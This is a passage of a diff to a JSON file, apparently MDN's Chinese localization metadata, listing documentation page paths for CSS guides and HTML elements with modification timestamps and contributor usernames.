"ziyunfei", - "yeol", - "teoli", - "Chajn" + "wizardforcel", + "xgqfrms-GitHub", + "YaohuiWu", + "pantao" ] }, - "Web/Guide/CSS/Getting_started/Readable_CSS": { - "modified": "2019-03-23T23:20:58.835Z", + "Web/HTML/Element/address": { + "modified": "2020-10-15T21:28:19.569Z", "contributors": [ - "FlameZheng", - "HelloFun", - "Harvesty", - "jasonzhyan", - "Synyan", - "neutrous", - "ziyunfei", - "teoli", - "aztack", - "reygreen1" + "gafish", + "Huangyilin19", + "RainSlide", + "rguanghui", + "xingzhi" ] }, - "Web/Guide/CSS/Getting_started/SVG_and_CSS": { - "modified": "2019-03-23T23:20:53.389Z", + "Web/HTML/Element/applet": { + "modified": "2019-03-23T22:30:12.481Z", "contributors": [ - "ziyunfei", - "teoli", - "aztack" + "chhpt" ] }, - "Web/Guide/CSS/Getting_started/Selectors": { - "modified": "2019-03-21T05:33:31.497Z", + "Web/HTML/Element/area": { + "modified": "2019-03-23T22:50:07.483Z", "contributors": [ - "yijie_sun", - "Robinx", - "HelloFun", - "Harvesty", - "jasonzhyan", - "yihuanZhang", - "futurefeeling", - "FredWe", - "chenguangqi", - "yilksd", - "ziyunfei", - "teoli", - "Chajn", - "aztack", - "bingguo" + "CLoli", + "purcy", + "Undecyce", + "lily121", + "maicss", + "liangmuyang", + "TheaAo", + "naive233", + "xrds" ] }, - "Web/Guide/CSS/Getting_started/Tables": { - "modified": "2019-03-23T23:20:48.505Z", + "Web/HTML/Element/article": { + "modified": "2020-10-15T21:26:55.414Z", "contributors": [ - "023Sparrow", - "Harvesty", - "mengzyou", + "gafish", + "SphinxKnight", + "916106840510", + "GalvinGao", + "rguanghui", "ziyunfei", - "teoli", - "Chajn", - "aztack" + "hutuxu" ] }, - "Web/Guide/CSS/Getting_started/Text_styles": { - "modified": "2019-03-23T23:20:39.790Z", + "Web/HTML/Element/aside": { + "modified": "2020-10-15T21:34:26.905Z", "contributors": [ - "Harvesty", - "neutrous", - "ziyunfei", - "teoli", - "bingguo", - "gadgetboy", - "Chajn" + "gafish", + "RainSlide", + "shlugood", + "Jacky-88", + "YifangDONG", + "kevinfszu", + "rguanghui" ] }, - "Web/Guide/CSS/Getting_started/What_is_CSS": { - "modified": "2019-03-18T20:41:48.849Z", + "Web/HTML/Element/audio": { + "modified": "2020-11-26T10:10:23.964Z", "contributors": [ - "HelloFun", - "Ende93", - "haofu", + "xusy", + "tanshaobo", + "Clarkkkk", + "RoXoM", + "wbamberg", + "HUxiaoAlinNG", + "little-tomorrow", + "Gerhut", + "mage3k", + "zhouyg", "ziyunfei", - "teoli", - "Chajn", - "sunnylost" + "snadn" ] }, - "Web/Guide/CSS/Getting_started/Why_use_CSS": { - "modified": "2019-03-23T23:24:15.853Z", + "Web/HTML/Element/b": { + "modified": "2019-03-18T20:42:37.816Z", "contributors": [ - "TomatoLovve", - "HelloFun", - "ziyunfei", - "haofu", - "teoli", - "Chajn", - "aihua" + "kite-js", + "Benjamin-Smith", + "lc-soft", + "zhuangyin", + "markyun", + "PoppinL" ] }, - "Web/Guide/CSS/Media_queries": { - "modified": "2020-05-17T23:15:16.911Z", + "Web/HTML/Element/base": { + "modified": "2020-10-15T21:32:52.441Z", "contributors": [ - "wallena3", - "Swordword", + "guow10", "RainSlide", - "wuguichiroumeiyou", - "LemonTency", - "AielloChan", - "lllvantis", - "chaiyu2002", - "ziyunfei", + "dodoBehind", + "Lux.lu", "xgqfrms-GitHub", - "Junetea", - "jggnice", - "fidejade", - "liyongleihf2006", - "AozakiOrenji", - "lokyoung", - "Sebastianz", - "mrstork", - "malayaleecoder", - "pantao", - "Ende93", - "Wenbin", - "anjianshi", - "ZhaoMing", - "Nightingale" + "TheaAo", + "betseyliu", + "eforegist", + "PythonFo", + "RainKolwa", + "chinaliyun", + "mengzyou", + "nobug" ] }, - "Web/Guide/CSS/Scaling_background_images": { - "modified": "2019-03-23T23:22:21.195Z", + "Web/HTML/Element/basefont": { + "modified": "2019-03-23T22:20:23.098Z", "contributors": [ - "Ende93", - "mrstork", - "anjia", - "figure7", - "Wenbin" + "hoyt" ] }, - "Web/Guide/CSS/Testing_media_queries": { - "modified": "2020-10-15T21:25:42.378Z", + "Web/HTML/Element/bdi": { + "modified": "2020-10-15T21:45:31.840Z", "contributors": [ - "RainSlide", - "Chajn", - "reygreen1", - "Wenbin" + "yofine", + "gafish", + "ZackBee", + "hoyt", + "Ende93" ] }, - "Web/Guide/CSS/Understanding_z_index": { - "modified": "2019-03-23T23:33:08.995Z", + "Web/HTML/Element/bdo": { + "modified": "2020-10-15T22:29:52.953Z", "contributors": [ - "zhangchen", - "ZQH", - "Go7hic", - "ziyunfei", - "teoli", - "ArthasTree" + "JerryYoung" ] }, - "Web/Guide/CSS/Understanding_z_index/Adding_z-index": { - "modified": "2019-03-23T23:21:48.784Z", + "Web/HTML/Element/bgsound": { + "modified": "2019-03-23T22:20:25.683Z", "contributors": [ - "ziyunfei", - "teoli", - "ArthasTree" + "hoyt" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_and_float": { - "modified": "2019-03-23T23:29:39.696Z", + "Web/HTML/Element/big": { + "modified": "2019-03-23T22:20:25.885Z", + "contributors": [ + "hoyt" + ] + }, + "Web/HTML/Element/blink": { + "modified": "2019-03-23T22:20:26.966Z", "contributors": [ - "lixuguang", - "Marcia_gm", - "ziyunfei", "teoli", - "sunnylost" + "hoyt" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1": { - "modified": "2020-04-09T03:35:06.982Z", + "Web/HTML/Element/blockquote": { + "modified": "2020-10-15T21:31:05.486Z", "contributors": [ - "liuyibo", - "VickyJin" + "RainSlide", + "pantao", + "lisnb" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2": { - "modified": "2019-03-23T22:25:59.868Z", + "Web/HTML/Element/body": { + "modified": "2020-10-15T21:39:08.650Z", "contributors": [ - "Skyrelu" + "RainSlide", + "eforegist", + "kite-js", + "hoyt", + "CodeDreamfy", + "JoshuaLee", + "sweetliu", + "pantao" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3": { - "modified": "2020-01-19T10:58:58.576Z", + "Web/HTML/Element/br": { + "modified": "2020-10-15T21:41:22.726Z", "contributors": [ - "zenHeart", - "Skyrelu" + "kite-js", + "hoyt", + "gqqnbig", + "venden" ] }, - "Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index": { - "modified": "2019-08-23T06:42:17.114Z", + "Web/HTML/Element/button": { + "modified": "2020-10-15T21:34:26.939Z", "contributors": [ - "allan_simon", - "ziyunfei", - "teoli", - "sunnylost", - "endlesswind" + "ilexwg", + "YuanGYao", + "kite-js", + "WeJie", + "wizardforcel", + "ezirmusitua", + "AnitaYin", + "JulieLee77" ] }, - "Web/Guide/CSS/Understanding_z_index/The_stacking_context": { - "modified": "2020-01-02T04:20:32.161Z", + "Web/HTML/Element/canvas": { + "modified": "2020-10-15T21:21:53.234Z", "contributors": [ - "Sl0v3C", - "realstephenzhao", - "hayahayao", - "SakuraSnow", - "zjffun", - "gzponline", - "kevinfszu", - "Ende93", - "huangcheng", - "yisibl", + "Mookiepiece", + "Martin.Chow", + "pantao", + "King.521", + "lunix01", + "qguor", "ziyunfei", - "Dolphin_Wood", - "davin107", - "fake", - "teoli", - "ethertank", - "tzyeah" + "xcffl" ] }, - "Web/Guide/CSS/Using_CSS_gradients": { - "modified": "2020-08-08T22:22:01.317Z", + "Web/HTML/Element/caption": { + "modified": "2019-03-23T22:47:30.729Z", "contributors": [ - "funicular", - "pe4ch", - "sanxun515", - "Aamperor", - "zhangnan666", - "zjffun", - "weedwong", - "Gaven-Xu", - "yatace", - "Sebastianz", - "hkfn123", - "lttxzmj", - "RogerShen", - "anjianshi" + "_sollrei", + "gqqnbig", + "pantao" ] }, - "Web/Guide/CSS/Using_multi-column_layouts": { - "modified": "2019-03-23T23:28:24.667Z", + "Web/HTML/Element/center": { + "modified": "2019-03-23T22:10:15.013Z", "contributors": [ - "Bayes", - "xgqfrms-GitHub", - "fscholz", - "Nightingale" + "maoyumaoxun", + "wizardforcel" ] }, - "Web/Guide/CSS/Using_the_:target_selector": { - "modified": "2019-03-23T22:52:16.056Z", + "Web/HTML/Element/cite": { + "modified": "2020-10-15T21:41:43.390Z", "contributors": [ - "Ende93", - "huangcheng", - "FredWe" + "Humilitas", + "yuyuanqiu", + "gafish", + "lucoo01", + "ma125120", + "King." ] }, - "Web/Guide/CSS/Visual_formatting_model": { - "modified": "2019-03-18T21:10:31.376Z", + "Web/HTML/Element/code": { + "modified": "2019-03-23T23:19:07.452Z", "contributors": [ - "guangzai", - "ssttii", - "qw8880000", - "Terry.Qiao", "ziyunfei", - "zhanglun", - "teoli", - "sunnylost", - "yan" + "guoyunhebrave" ] }, - "Web/Guide/Events": { - "modified": "2019-03-23T23:20:12.541Z", + "Web/HTML/Element/col": { + "modified": "2019-04-13T00:08:55.934Z", "contributors": [ - "Imagine-Tom", - "tcatche", - "NoDocCat", - "Tankunpeng", - "Jeremie" + "Rominez", + "zxcvbnm", + "FredWe" ] }, - "Web/Guide/Events/Creating_and_triggering_events": { - "modified": "2020-05-27T10:29:01.846Z", + "Web/HTML/Element/colgroup": { + "modified": "2020-10-15T21:37:46.269Z", "contributors": [ - "Carllllo", - "xingleizhao", - "but0n", - "zhangchen", - "LuSitong", - "Iamxiaozhu", - "ucev", - "xgqfrms-GitHub", - "ZhengYinBo", - "carllx", - "timwangdev", - "FredWe", - "ReyCG_sub" + "RainSlide", + "Soyaine", + "PandaadnaP", + "FredWe" ] }, - "Web/Guide/Events/Event_handlers": { - "modified": "2019-03-23T23:20:11.825Z", + "Web/HTML/Element/content": { + "modified": "2019-03-23T22:10:12.369Z", "contributors": [ - "tcatche", - "Le-Fu", - "xgqfrms-GitHub", - "ziyunfei", - "Darrel.Hsu" + "wizardforcel" ] }, - "Web/Guide/Events/Media_events": { - "modified": "2020-07-02T07:14:48.714Z", + "Web/HTML/Element/data": { + "modified": "2020-10-15T21:28:38.554Z", "contributors": [ - "9aoyang", - "haocity", - "TimRChen", - "maicss", - "GSBL", - "bizbin", - "esterTion", - "SudoKillMe", - "zilong-thu", - "ziyunfei", - "Anonymous" + "RainSlide", + "hxl" ] }, - "Web/Guide/Events/Mutation_events": { - "modified": "2019-03-23T22:51:23.609Z", + "Web/HTML/Element/datalist": { + "modified": "2020-10-15T21:19:07.919Z", "contributors": [ - "Pada", - "peonyriver", - "FredWe" + "gafish", + "zhangchen", + "mfranzke", + "wbamberg", + "Jianming", + "SphinxKnight", + "koaqiu", + "JulieLee77", + "ziyunfei" ] }, - "Web/Guide/Events/Orientation_and_motion_data_explained": { - "modified": "2019-03-23T23:10:07.666Z", + "Web/HTML/Element/dd": { + "modified": "2019-03-23T22:39:17.576Z", "contributors": [ - "fancy" + "zhuangyin", + "PoppinL" ] }, - "Web/Guide/Events/Overview_of_Events_and_Handlers": { - "modified": "2019-03-23T22:51:31.630Z", + "Web/HTML/Element/del": { + "modified": "2020-10-15T21:44:56.125Z", "contributors": [ - "Song2017", - "FredWe" + "lastVigo", + "Ende93" ] }, - "Web/Guide/Graphics": { - "modified": "2020-12-07T03:47:26.253Z", + "Web/HTML/Element/details": { + "modified": "2020-10-15T21:40:23.093Z", "contributors": [ - "SphinxKnight", - "Vongola-czr", - "Mookiepiece", + "Sc0tt", "RainSlide", - "zhuangyin", - "ITxiaochong", - "pluwen", - "m4jing", - "jinger7281", - "wth", - "rockywen", - "ryerh", - "wanglingzhi", - "Kasuganosora", - "Hikerpig" + "moquede", + "Jiang-Xuan", + "wh1msy", + "xgqfrms-GitHub", + "Martin.Chow" ] }, - "Web/Guide/HTML/Content_Editable": { - "modified": "2020-09-22T00:31:12.632Z", + "Web/HTML/Element/dfn": { + "modified": "2020-08-14T22:28:54.156Z", "contributors": [ - "imarco", - "YogurtQ", - "xianghui-ma", - "Hew007", - "zhuangyin", - "jamesxu", - "ziyunfei", - "teoli", - "sunnylost", - "ethertank" + "liujtani", + "harttle" ] }, - "Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla": { - "modified": "2019-11-25T00:57:33.951Z", + "Web/HTML/Element/dialog": { + "modified": "2020-10-15T21:53:47.497Z", "contributors": [ - "gao5252", - "SphinxKnight", - "chrisdavidmills", - "sijinglei", - "doodlewind", - "zezhou", - "Cbgrape", - "Teago" + "bambooom", + "RainSlide", + "Bayes", + "xgqfrms-GitHub" ] }, - "Web/Guide/HTML/Content_categories": { - "modified": "2019-09-24T00:45:30.074Z", + "Web/HTML/Element/dir": { + "modified": "2019-03-21T11:22:00.363Z", "contributors": [ - "Metaloe", - "gnepnaiL-oahZ", - "unclesamnumberone", - "jizhi77", - "ZeroJsus", - "huozicheng", - "AllenYangFly", - "arya0822", - "kevinfszu", - "pantao", - "LuyaoWang", - "FredWe" + "RainSlide", + "wizardforcel" ] }, - "Web/Guide/HTML/Email_links": { - "modified": "2020-05-25T10:01:07.179Z", + "Web/HTML/Element/div": { + "modified": "2020-10-15T21:37:14.662Z", "contributors": [ - "sweeney", - "xgqfrms" + "imdsc", + "guofai", + "BurNing1993", + "RainSlide", + "gafish", + "YunZhongZi", + "pantao", + "FredWe" ] }, - "Web/Guide/HTML/Forms_in_HTML": { - "modified": "2019-03-23T23:33:41.492Z", + "Web/HTML/Element/dl": { + "modified": "2020-04-29T06:50:25.527Z", "contributors": [ - "huozicheng", - "xgqfrms-GitHub", - "ziyunfei", + "tanshaobo", + "wenchuyang", + "zhuangyin", + "PoppinL", "teoli", - "sunnylost", - "jtyjty99999" + "pantao" ] }, - "Web/Guide/HTML/HTML": { - "modified": "2019-06-25T10:18:27.080Z", + "Web/HTML/Element/dt": { + "modified": "2019-03-23T22:52:08.449Z", "contributors": [ - "xiajun1996", - "ziyunfei", - "zzangxu" + "PoppinL", + "pantao", + "FredWe" ] }, - "Web/Guide/HTML/HTML5": { - "modified": "2019-04-29T21:49:51.078Z", + "Web/HTML/Element/em": { + "modified": "2019-08-13T01:09:58.820Z", "contributors": [ - "vanpipy", - "mike-j", - "GameWang", - "fanerge", - "mfoonirlee", - "Summer1026", - "xgqfrms-GitHub", - "Go7hic", - "panhe-xue", - "ObooChin", - "kevinfszu", - "teoli", + "huxinsen", + "eMUQI", + "bobo159357456", "xgqfrms", - "fghycode", - "jasonworg", - "mengzyou", - "Breezewish", - "Jianming", - "ziyunfei", - "xuxun", - "TimZhao", - "sunnylost", - "xcffl", - "princetoad@gmail.com" + "pantao" ] }, - "Web/Guide/HTML/HTML5/Constraint_validation": { - "modified": "2020-08-07T06:53:08.941Z", + "Web/HTML/Element/embed": { + "modified": "2020-10-15T21:28:42.719Z", "contributors": [ - "Nierifeng", - "shiyi25928988", - "yongchen" + "RainSlide", + "chenos", + "Martin.Chow", + "Startan" ] }, - "Web/Guide/HTML/HTML5/HTML5_Thematic_Classification": { - "modified": "2019-03-23T23:39:08.496Z", + "Web/HTML/Element/fieldset": { + "modified": "2020-10-15T21:49:19.693Z", "contributors": [ - "ziyunfei", - "kevmdn" + "Carllllo", + "lucoo01", + "ezirmusitua", + "abowloflrf", + "cyxlj" ] }, - "Web/Guide/HTML/HTML5/HTML5_element_list": { - "modified": "2020-01-10T02:18:08.432Z", + "Web/HTML/Element/figcaption": { + "modified": "2019-03-23T22:35:32.183Z", "contributors": [ - "yinsang", - "Jevol", - "yongdi", - "Breezewish", - "ziyunfei" + "wizardforcel", + "travellingkite", + "Ende93" ] }, - "Web/Guide/HTML/HTML5/Introduction_to_HTML5": { - "modified": "2019-03-24T00:12:23.341Z", + "Web/HTML/Element/figure": { + "modified": "2020-10-15T21:38:52.140Z", "contributors": [ - "eeeeeeeason", - "YueBiYang", - "008", - "guotingchaopr", - "ziyunfei", - "ibeen", - "gaoyanqi", - "leegorous" + "gafish", + "RainSlide", + "lcw0622", + "ajfg93", + "Ende93", + "041008725", + "you0509" ] }, - "Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document": { - "modified": "2019-03-21T10:38:08.111Z", + "Web/HTML/Element/font": { + "modified": "2019-03-23T22:10:03.224Z", "contributors": [ - "RainSlide", - "jimmy-sum", - "VdoG", - "StarXY", - "kevinfszu", - "mengzyou", - "xuexiaocai" + "yinsang", + "wizardforcel" ] }, - "Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages": { - "modified": "2020-07-16T22:22:33.856Z", + "Web/HTML/Element/footer": { + "modified": "2020-10-15T21:38:27.121Z", "contributors": [ - "Dorence", - "Banhave", - "boltyu", - "TheaAo", - "wth", - "Samoay", - "ziyunfei", - "Y001", - "Mgjbot", - "Carrie zhxj" + "gafish", + "Ende93", + "sweetliu", + "W.D.L" ] }, - "Web/Guide/HTML/Using_HTML5_audio_and_video": { - "modified": "2019-09-28T22:50:38.146Z", + "Web/HTML/Element/form": { + "modified": "2020-10-15T21:14:51.331Z", "contributors": [ - "zaixuzheng", - "wth", - "Cindy_Liu", - "lyxuncle", - "flyonok", - "zhaiyu.zhaiyu", - "troywith77", - "ArthasTree", - "rogueduola", - "tankhanleng", - "shenhao" + "Clarkkkk", + "Carllllo", + "Daqin", + "xuiang", + "RainSlide", + "Alfxjx", + "l613", + "gafish", + "linjialiang", + "HJ8848", + "luzhe610", + "Structure88", + "wizardforcel", + "maicss", + "zrtalent", + "FredWe", + "ziyunfei", + "lenvens" ] }, - "Web/Guide/HTML/Using_data_attributes": { - "modified": "2020-07-16T22:22:37.588Z", + "Web/HTML/Element/frame": { + "modified": "2019-03-23T22:10:16.682Z", "contributors": [ - "zhangchen", - "hhxxhg", - "lavenderming", - "xgqfrms-GitHub", - "hellotaotao", - "Go7hic", - "marshalYuan", - "monjer", - "Deryckxie" + "wizardforcel" ] }, - "Web/Guide/Localizations_and_character_encodings": { - "modified": "2020-05-07T10:52:56.537Z", + "Web/HTML/Element/frameset": { + "modified": "2020-10-15T21:48:59.254Z", "contributors": [ "Ende93", - "91JOJO", - "xdsnet" + "xgqfrms-GitHub", + "Fogwind" ] }, - "Web/Guide/Mobile": { - "modified": "2019-03-23T23:20:37.061Z", + "Web/HTML/Element/head": { + "modified": "2020-10-15T21:31:48.499Z", "contributors": [ - "TaoWei", - "mywentu", - "peterwang1996", - "qry", - "liminjun", - "xbzhs", - "duan.xiaodong", - "wanglong", - "ziyunfei" + "eforegist", + "jesse0x90", + "AlexChao" ] }, - "Web/Guide/Parsing_and_serializing_XML": { - "modified": "2019-08-12T08:51:44.801Z", + "Web/HTML/Element/header": { + "modified": "2020-10-15T21:27:00.445Z", "contributors": [ + "gafish", "RainSlide", - "haaling" + "wbamberg", + "ziyunfei", + "hutuxu" ] }, - "Web/Guide/Performance": { - "modified": "2020-10-09T03:08:14.338Z", + "Web/HTML/Element/hgroup": { + "modified": "2020-09-15T22:26:38.462Z", "contributors": [ - "kite-js", - "SphinxKnight", - "Imagine-Tom", - "yexk", - "leozhang", - "sunnylost", - "DAVINDAI", - "ziyunfei" + "hellorayza", + "emanruoy", + "allan_simon", + "diqiuxin", + "Ende93" ] }, - "Web/HTML": { - "modified": "2020-05-18T02:45:10.401Z", + "Web/HTML/Element/hr": { + "modified": "2020-10-15T21:39:09.045Z", "contributors": [ - "SphinxKnight", - "MrWangYaNan", - "mkckr0", - "Mengli", - "853419196", - "xmcgcg", - "xq20160912", - "RainSlide", - "fanerge", - "abramsz", - "wangfy", - "fenyu", - "asthman666", - "mao001", - "vizardsLau", - "Planet6174", - "pluwen", - "ChangJun2018", - "robsean", - "ldwformat", - "xixilog", - "wh1msy", - "xx1124961758", - "little-love", - "Shadowhiker", - "Blink", - "ylws", - "liugev6", - "fygyx1", - "pkl6612", - "mona", - "PoppinL", - "ziyunfei", - "lunix01", - "Breezewish", - "xuxun", - "allan_simon", - "TimZhao", - "jessiecaisme", - "Futao.Gao" + "mitaosi", + "tanshaobo", + "gafish", + "lucoo01", + "azheng", + "nicholas-yangding", + "Ende93", + "pantao" ] }, - "Web/HTML/Applying_color": { - "modified": "2020-07-22T05:27:42.410Z", + "Web/HTML/Element/html": { + "modified": "2020-10-15T21:37:17.396Z", "contributors": [ - "WinterCicada", - "Dorence" + "gafish", + "eforegist", + "xgqfrms-GitHub", + "thinklittle", + "VdoG", + "ruilee16", + "jesse0x90", + "jasonnn331", + "Ende93", + "FredWe" ] }, - "Web/HTML/Attributes": { - "modified": "2020-08-28T22:38:07.073Z", + "Web/HTML/Element/i": { + "modified": "2019-03-23T23:11:10.638Z", "contributors": [ - "nodeZ", - "fygyx1", - "tys", - "Carllllo", - "MartinsYong", - "enoorez", - "yhs-APerson", - "yuehp", - "PoppinL", - "ziyunfei", - "phoenixLU" + "StormBR1120", + "ccn1010", + "ranwu", + "pantao", + "Hey-Ray" ] }, - "Web/HTML/Attributes/自动完成属性": { - "modified": "2020-10-15T22:25:13.539Z", + "Web/HTML/Element/iframe": { + "modified": "2020-10-15T21:21:27.595Z", "contributors": [ - "pans9" + "卡尔维斯特", + "HHH-can", + "frankli0324", + "gafish", + "Aslower", + "hexianzhi", + "xgqfrms", + "wbamberg", + "GameWang", + "AlvinBlack", + "Ende93", + "shiddong", + "xuxun", + "xgqfrms-GitHub", + "hoyt", + "Marcia_gm", + "Sivan", + "ReyCG_sub", + "ziyunfei", + "monjer", + "Josephok", + "ZhangJianxiang" ] }, - "Web/HTML/Block-level_elements": { - "modified": "2019-03-18T20:38:24.578Z", + "Web/HTML/Element/image": { + "modified": "2019-03-30T00:32:55.632Z", "contributors": [ - "kmc947373", - "CraigZeng", - "FredWe", - "Breezewish", - "teoli", - "ziyunfei", - "wdlth" + "raygift", + "hoyt" ] }, - "Web/HTML/CORS_enabled_image": { - "modified": "2020-05-06T06:27:48.960Z", + "Web/HTML/Element/img": { + "modified": "2020-10-15T21:34:27.415Z", "contributors": [ - "oxyg3n", - "guow10", - "PaulHan", - "wYhooo", - "xgqfrms-GitHub", - "kmc947373", - "ziyunfei", - "Breezewish" + "liangmuyang", + "HaoyuA", + "XLCYun", + "RainSlide", + "LexieAlreadyTaken", + "imbant", + "zzykillu", + "gafish", + "Ahhaha233", + "Everain", + "iefreer", + "fuchao2012", + "anjia" ] }, - "Web/HTML/CORS_settings_attributes": { - "modified": "2019-11-26T01:56:32.661Z", + "Web/HTML/Element/ins": { + "modified": "2020-10-15T21:39:08.740Z", "contributors": [ - "wangjian", - "Melo.HG", - "xgqfrms-GitHub", - "mygaochunming", - "xgqfrms", - "kmc947373" + "gafish", + "lastVigo", + "Martin.Chow", + "pantao" ] }, - "Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video": { - "modified": "2019-12-03T21:07:25.830Z", + "Web/HTML/Element/isindex": { + "modified": "2019-03-23T22:43:17.045Z", "contributors": [ - "guow10", - "xcffl" + "Martin.Chow" ] }, - "Web/HTML/Element": { - "modified": "2019-12-03T05:56:52.523Z", + "Web/HTML/Element/kbd": { + "modified": "2019-08-13T06:01:57.840Z", "contributors": [ - "RainSlide", - "eforegist", - "XiangHongAi", - "mdnjcc", + "kenneth55555", "hoyt", - "jian86392088", - "VdoG", - "ruilee16", - "jesse0x90", - "Ende93", - "Martin.Chow", - "Breezewish", - "ziyunfei", - "gqqnbig", - "jessiecaisme", - "xcffl", - "teoli", - "Cnmahj" + "perillasy" ] }, - "Web/HTML/Element/Heading_Elements": { - "modified": "2020-10-15T21:08:04.205Z", + "Web/HTML/Element/keygen": { + "modified": "2019-04-05T05:50:18.178Z", "contributors": [ - "gafish", - "imba-tjd", - "RainSlide", - "wizardforcel", - "HashubWang", - "venden", - "Ende93", - "ziyunfei" + "Ende93" ] }, - "Web/HTML/Element/Input": { - "modified": "2020-05-27T10:36:01.533Z", + "Web/HTML/Element/label": { + "modified": "2020-10-15T21:34:28.099Z", "contributors": [ "Carllllo", - "Rem486", - "wxyads", - "853419196", - "JuliusKingsley", - "zhangchen", - "qihuanlu01", - "zaixuzheng", - "yangshang01", - "yuyx91", - "voidzhou", - "hebby", - "jiangseventeen", - "fsx950223", - "Tiaen", + "plusmultiply0", + "one-day-day", + "kuei0221", + "yuyuanqiu", + "loveyunk", + "Ende93", + "tinunkai", + "codevvvv9", + "yinsang", "xgqfrms-GitHub", - "liaoyinglong", - "adam198824", - "liyongleihf2006", - "AutumnFish", - "luobotang", - "gqqnbig", - "Ivan_V", - "zilong-thu", - "Metalooze", - "tiansh", - "ziyunfei", - "rnoka" + "TooBug", + "ObooChin", + "JulieLee77" ] }, - "Web/HTML/Element/Input/button": { - "modified": "2019-03-18T21:28:02.958Z", + "Web/HTML/Element/legend": { + "modified": "2020-10-15T21:28:02.232Z", "contributors": [ - "zaixuzheng", - "bear-x" + "Carllllo", + "xingzhi" ] }, - "Web/HTML/Element/Input/checkbox": { - "modified": "2019-07-01T05:04:47.435Z", + "Web/HTML/Element/li": { + "modified": "2019-04-06T23:38:24.006Z", "contributors": [ - "konrumi" + "lwj621", + "wizardforcel", + "changwu", + "JoshuaLee" ] }, - "Web/HTML/Element/Input/color": { - "modified": "2019-03-23T22:16:45.281Z", + "Web/HTML/Element/link": { + "modified": "2020-10-15T21:43:08.607Z", "contributors": [ - "ecnelises", - "litmonw", - "konrumi" + "woshiqiang1", + "mitaosi", + "dlnb526", + "Yayure", + "LINYI", + "seanyue", + "csideakevin", + "gafish", + "Blue-momo", + "wh.D", + "zhangqiangoffice", + "VdoG", + "sdc37h", + "zhengjianqiao", + "jethro2016", + "ZackBee", + "cissoid", + "jesse0x90", + "gqqnbig", + "041008725" ] }, - "Web/HTML/Element/Input/date": { - "modified": "2019-03-23T22:01:59.059Z", + "Web/HTML/Element/listing": { + "modified": "2019-03-23T22:10:12.488Z", "contributors": [ - "LeonH", - "WeiGrand", - "tangj1206" + "wizardforcel" ] }, - "Web/HTML/Element/Input/datetime": { - "modified": "2019-07-13T11:00:17.487Z", + "Web/HTML/Element/main": { + "modified": "2020-10-15T21:34:53.469Z", "contributors": [ - "853419196", - "wizardforcel" + "panda2134", + "kidwen", + "RainSlide", + "agannwei", + "gafish", + "sun_all", + "Alexanderonepills", + "zhangchen", + "yuyang", + "beiweiqiang", + "pantao", + "holynewbie", + "TANRUI", + "oxygen16" ] }, - "Web/HTML/Element/Input/datetime-local": { - "modified": "2020-10-24T12:05:38.587Z", + "Web/HTML/Element/map": { + "modified": "2020-06-30T05:42:09.220Z", "contributors": [ - "HermitSun", - "ThaddeusJiang", - "zhangchen", - "kite-js" + "ikomom", + "Feel-Joy", + "wizardforcel", + "xycd", + "naive233" ] }, - "Web/HTML/Element/Input/email": { - "modified": "2020-10-15T22:07:09.640Z", + "Web/HTML/Element/mark": { + "modified": "2020-01-10T01:04:18.292Z", "contributors": [ - "Chattille", - "CiaoLee", - "zaixuzheng" + "yuyuanqiu", + "XiaoWinter", + "puppyer", + "Benjamin-Smith", + "looso", + "iigmir", + "Byronic94", + "marchen" ] }, - "Web/HTML/Element/Input/file": { - "modified": "2020-10-15T21:55:53.292Z", + "Web/HTML/Element/marquee": { + "modified": "2019-03-23T22:16:10.183Z", "contributors": [ - "mkckr0", - "DreamLxq", - "hehe1111", - "alfredchan3", - "zhangchen", - "vippiv", - "AmyFoxFN", - "YinlongCoding", - "chinafootballyu", - "zxc5800", + "siyecao", + "Easton605", "wizardforcel", - "ezirmusitua" + "viazure", + "snovey" ] }, - "Web/HTML/Element/Input/hidden": { - "modified": "2020-10-15T22:15:28.120Z", + "Web/HTML/Element/menu": { + "modified": "2020-10-15T21:37:16.105Z", "contributors": [ - "guow10", - "RainSlide" + "RainSlide", + "yuyx91", + "kgojiwong", + "pantao", + "holynewbie" ] }, - "Web/HTML/Element/Input/image": { - "modified": "2020-10-15T21:49:38.681Z", + "Web/HTML/Element/menuitem": { + "modified": "2020-10-15T21:58:27.361Z", "contributors": [ - "SphinxKnight", - "Henry", - "yu.xcode", - "MissingDreamland" + "RainSlide", + "wangxuedongovo" ] }, - "Web/HTML/Element/Input/number": { - "modified": "2019-03-23T22:10:11.887Z", + "Web/HTML/Element/meta": { + "modified": "2020-10-15T21:34:02.227Z", "contributors": [ + "RainSlide", + "Carllllo", + "chanvin", + "dlnb526", + "vanestone", + "xq20160912", + "ceido", + "Bayes", + "VdoG", "zxsunrise", - "XXXS", - "hmzll", - "Ende93", - "xgqfrms-GitHub" + "wpc1403s2", + "fsx950223", + "yellow-lines", + "yunikoro", + "scl930227", + "daixinye", + "zt2", + "Noly1990", + "aimiy", + "clarkzsd", + "qixi", + "xgqfrms-GitHub", + "wangdapeng1005", + "zhouyu1993", + "SolitudeRA", + "Annlix", + "littlee", + "pantao", + "SimplyY", + "Fadeoc" ] }, - "Web/HTML/Element/Input/password": { - "modified": "2020-10-15T22:06:31.185Z", + "Web/HTML/Element/meta/name": { + "modified": "2020-10-15T22:33:39.182Z", "contributors": [ - "byouw", - "zaixuzheng" + "RainSlide", + "hanochrosebush" ] }, - "Web/HTML/Element/Input/radio": { - "modified": "2020-10-15T21:55:25.436Z", + "Web/HTML/Element/meter": { + "modified": "2019-03-23T22:20:26.204Z", "contributors": [ - "luohuayouyi12138", - "LeonZou", - "zhangchen", - "wizardforcel" + "hoyt" ] }, - "Web/HTML/Element/Input/reset": { - "modified": "2020-10-15T22:25:10.687Z", + "Web/HTML/Element/multicol": { + "modified": "2019-03-23T22:18:36.663Z", "contributors": [ - "guow10" + "wizardforcel", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/Input/search": { - "modified": "2020-10-15T22:25:21.244Z", + "Web/HTML/Element/nav": { + "modified": "2020-10-15T21:26:27.913Z", "contributors": [ - "Lin-dreamer", - "guow10" + "gafish", + "wbamberg", + "yatace", + "ziyunfei", + "TimZhao", + "bowen-shi" ] }, - 